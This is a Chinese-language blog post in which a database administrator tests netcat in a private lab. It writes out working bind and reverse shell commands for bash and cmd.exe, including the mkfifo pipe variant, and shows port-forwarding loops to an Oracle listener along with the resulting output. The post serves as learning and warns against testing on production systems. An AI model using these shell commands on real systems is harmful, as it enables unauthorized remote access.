[20230309]nc reverse bash shell or cmd.exe(windows).txt

lfree發表於2023-03-10

[20230309]nc reverse bash shell or cmd.exe(windows).txt

--//nc 是網路利器,以前曾經做過[20210908]Reverse Shell with Bash.txt=>http://blog.itpub.net/267265/viewspace-2790933/。
--//最近看了這方面內容,測試reserver bash shell or cmd.exe(windows)以及埠轉發,代理:

1.環境:
--//首先找2,3臺機器,千萬不要在生產系統做這樣的測試!!
192.168.100.78  linux   (Oracle Linux Server release 5.9)
192.168.98.6    windows
192.168.100.235 linux   (Red Hat Enterprise Linux Server release 7.5 )
--//注: 192.168.100.235 的nc版本高一些,支援更多的引數選擇.另外我發現兩臺機器nc的來源不一樣,做一下說明,我估計最新版本的機器
--//都是來自nmap包,支援的引數有一點點亂!!
--//192.168.100.78的nc版本.
 $ rpm -qif $(which nc)
Name        : nc                           Relocations: (not relocatable)
Version     : 1.84                              Vendor: Oracle USA
Release     : 10.fc6                        Build Date: Wed 06 Jun 2007 07:33:51 PM CST
Install Date: Fri 29 Aug 2014 09:27:41 PM CST      Build Host: ca-build14
Group       : Applications/Internet         Source RPM: nc-1.84-10.fc6.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Size        : 111823                           License: GPL
Signature   : DSA/SHA1, Fri 08 Jun 2007 08:19:28 AM CST, Key ID 66ced3de1e5e0159
URL         :
Summary     : Reads and writes data across network connections using TCP or UDP.

--//192.168.100.235的nc版本.
$ rpm -qif $(which nc)
Name        : nmap-ncat
Epoch       : 2
Version     : 6.40
Release     : 13.el7
Architecture: x86_64
Install Date: Tue 10 Nov 2020 07:39:27 PM CST
Group       : Applications/System
Size        : 432699
License     : GPLv2 and LGPLv2+ and GPLv2+ and BSD
Signature   : RSA/SHA256, Sun 28 Jan 2018 09:04:52 PM CST, Key ID 72f97b74ec551f03
Source RPM  : nmap-6.40-13.el7.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Build Date  : Sun 28 Jan 2018 09:04:38 PM CST
Build Host  : x86-ol7-builder-01.us.oracle.com
Relocations : (not relocatable)
Vendor      : Oracle America
URL         :
Summary     : Nmap's Netcat replacement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--//新的版本作為nmap的一部分替換原來的nc版本.實際的執行程式名是ncat.
$ ls -l /usr/bin/nc /usr/bin/ncat
lrwxrwxrwx. 1 root root      4 2020-11-10 19:39:26 /usr/bin/nc -> ncat
-rwxr-xr-x. 1 root root 380224 2018-01-28 21:04:22 /usr/bin/ncat

--//為了測試方便兩臺linux機器建立管道檔案/tmp/f,不再另外說明.
# mkfifo /tmp/f
# chmod 777 /tmp/f

--//windwos下的nc.exe可以在代理穿透 下載.並設定好環境變數PATH,可以直接訪問.
--//注:我使用防毒軟體將裡面nc1.exe給清除了,感覺應該沒有問題,因為我在別的機器嘗試解壓沒有問題.

2.測試1:
--//windows的版本支援-e progname選項,連通後可以在其它機器上連線該機器.
--//192.168.98.6    windows
R:\>nc -l -p 1234 -t -e cmd.exe
--//或者
R:\>nc -l -p 1234  -e cmd.exe

--//192.168.100.78  linux
$ nc 192.168.98.6 1234
Microsoft Windows [版本 6.1.7600]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。

R:\>dir
dir
 驅動器 R 中的卷是 RAMDISK
 卷的序列號是 0122-14E0

 R:\ 的目錄

2023/03/09  08:31    <DIR>          log
2023/03/09  08:30    <DIR>          TEMP
2023/03/09  08:24    <DIR>          VDownload
               1 個檔案            859 位元組
               3 個目錄    738,344,960 可用位元組
--//執行命令有一個缺點,會回顯執行的命令在執行,而且無法使用上下鍵選擇命令的執行歷史在執行.
--//還可以這樣操作:
--//192.168.98.6    windows
R:\>nc -l -p 1234 -t -e "sqlplus scott/book@78"

--//192.168.100.78  linux 或者192.168.100.235 linux
$ nc 192.168.98.6 1234
...
SCOTT@78> @ ver1
PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SCOTT@78> host pwd
R:\

3.測試2:
--//反過來呢?我看了一下我的測試機器192.168.100.78,nc版本很低,許多引數沒有,選擇192.168.100.235測試.
--//192.168.100.235 linux
$ nc -l -p  1234  -e "/bin/bash -i "
--//或者
$ nc -l -p  1234  -t -e "/bin/bash -i "

--//192.168.100.78 linux
$ nc 192.168.100.235 1234
hostname
LIS-DB
ls  -l
total 28
-rw-r--r--. 1 oracle oinstall 2639 Oct 14 10:39 fastlink.sh
-rw-r--r--. 1 oracle oinstall 5725 Nov  7 09:51 oalias.sh
-rw-r--r--. 1 oracle oinstall 5459 Oct 20 09:00 oalias.sh.20221024
-rw-r--r--. 1 oracle oinstall 4551 Oct 14 10:47 oalias.sh.bak
ll

--//執行命令有一個缺點,沒有命令列提示符號,命令類似盲打.
--//注: 在windows下我無法實現,不知道原因,先暫時放一下.
--//192.168.98.6    windows
R:\> nc 192.168.100.235 1234
--//!!掛起!!

4.測試3:
--//也可以把命令反過來使用,效果是一樣的.
--//192.168.100.78  linux
$ nc -l 1234

--//192.168.98.6    windows
R:\> nc 192.168.100.78 1234 -e cmd.exe

--//192.168.100.78  linux
$ nc -l 1234
Microsoft Windows [版本 6.1.7600]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。

R:\>dir
dir
 驅動器 R 中的卷是 RAMDISK
 卷的序列號是 0122-14E0

 R:\ 的目錄

2023/03/10  08:39    <DIR>          log
2023/03/10  08:38    <DIR>          TEMP
2023/03/10  08:34    <DIR>          VDownload
2010/11/30  08:29               859 zws.ppk
               1 個檔案            859 位元組
               3 個目錄    774,134,784 可用位元組

5.測試4:
--//192.168.100.78  linux
$ nc -l  1234

--//192.168.100.235  linux
$ nc 192.168.100.78 1234 -e '/bin/bash -i'

--//192.168.100.78  linux
$ nc -l  1234
hostname
LIS-DB

--//缺點就是命令給盲打,沒有命令提示符,不支援tab,上下鍵選擇命令.

6.測試5:
--//192.168.100.78  linux
$ mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -l 1234 > /tmp/f

--//我嘗試從不同os連線.
--//192.168.98.6    windows
R:\> nc 192.168.100.78 1234
bash: no job control in this shell
--//PS1的提示出現亂碼或者不對齊,不影響使用.提示bash: no job control in this shell,似乎一些bg,fg的命令無法使用.
--//實際上因為沒有terminal的緣故.tty命令顯示no tty. 這樣vim之類的編輯軟體是不能用的.

--//192.168.100.235 linux
$ nc  192.168.100.78 1234
--//命令會回顯,但是顯示效果很好,也可以使用tab鍵以及上下鍵,但是顯示亂碼,執行是正常的,基本就是屬於盲打.

7.測試6(測試埠轉發):
--//192.168.100.78  linux
$ nc -k -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//或者
$ nc  -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f

--//相當於訪問192.168.100.78的1234埠就是訪問192.168.100.235的1521埠.
--//-k 的作用相當我不是很理解,client退出後還保持開啟狀態.但是重新發起連線會斷開.
--//-k 引數要配合 -m 引數,不過這個版本不支援-m引數.
--//另外我發現nc的引數非常不一致,一些版本-m的意思不同.

--//一個變態的寫法寫成死迴圈:
--//192.168.100.78  linux
$ while :; do  nc  -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f ; done

--//192.168.98.6    windows
R:\>sqlplus sys/XXXXXXXX@192.168.100.78:1234/orcl as sysdba
..
SYS@192.168.100.78:1234/orcl> @ ver1
SYS@192.168.100.78:1234/orcl> @ prxx_win
==============================
PORT_STRING                   : x86_64/Linux 2.4.xx
VERSION                       : 19.0.0.0.0
BANNER                        : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
BANNER_FULL                   : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0
BANNER_LEGACY                 : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
CON_ID                        : 0
PL/SQL procedure successfully completed.
--//當然你別指望同時開啟多個會話.

8.測試7(測試埠轉發):
--//192.168.100.235 linux
--//該機器nc版本較新,支援許多新的引數選擇.比如-c 引數.
$ nc -l -p 1234 -c  'nc 192.168.100.78 1521'
--//相當於將192.168.100.235 的1234埠對映到192.168.100.78 1521.

--//192.168.100.78 linux
$ sqlplus -s -l scott/book@192.168.100.235:1234/book <<< @ver1
PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

--//缺點是這樣的寫法僅僅連線一次,退出後再重新連線不行!!可以像上面那樣寫一個死迴圈.
--//192.168.100.235 linux
$ while :; do  nc -l -p 1234 -c  'nc 192.168.100.78 1521' ; done
--//或者寫成如下,寫成如下可以連線5次.
$ seq 5 | xargs -IQ  bash -c "nc -l -p 1234 -c  'nc 192.168.100.78 1521'"

9.總結:
--//全當作學習一些網路知識,瞭解增加nc的使用技巧,不要在生產系統做這類測試!!
--//另外我發現一些命令引數各個版本意思不一致,有點混亂.
--//一些版本-l -p 不能一起使用,有一些可以等等.

10.補充:
--//在結束測試前我粗略瀏覽nc檔案,較新的nc版本-k要和-m配合:
--//192.168.100.235 linux
$ nc -k -m 5 -l -p 1234 -c  'nc 192.168.100.78 1521'
--//這樣可以實現5個連線沒有任何問題,同時開啟5個會話沒有問題.
--//不管如何操作,先開啟監聽,然後在啟動連線.nc應用非常靈活.我僅僅學習nc的冰上一角.

--//另外在測試4中命令盲打的問題,我找到一個連結:可以很好解決這個問題,
--//另外寫一篇blog.

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2939166/,如需轉載,請註明出處,否則將追究法律責任。

相關文章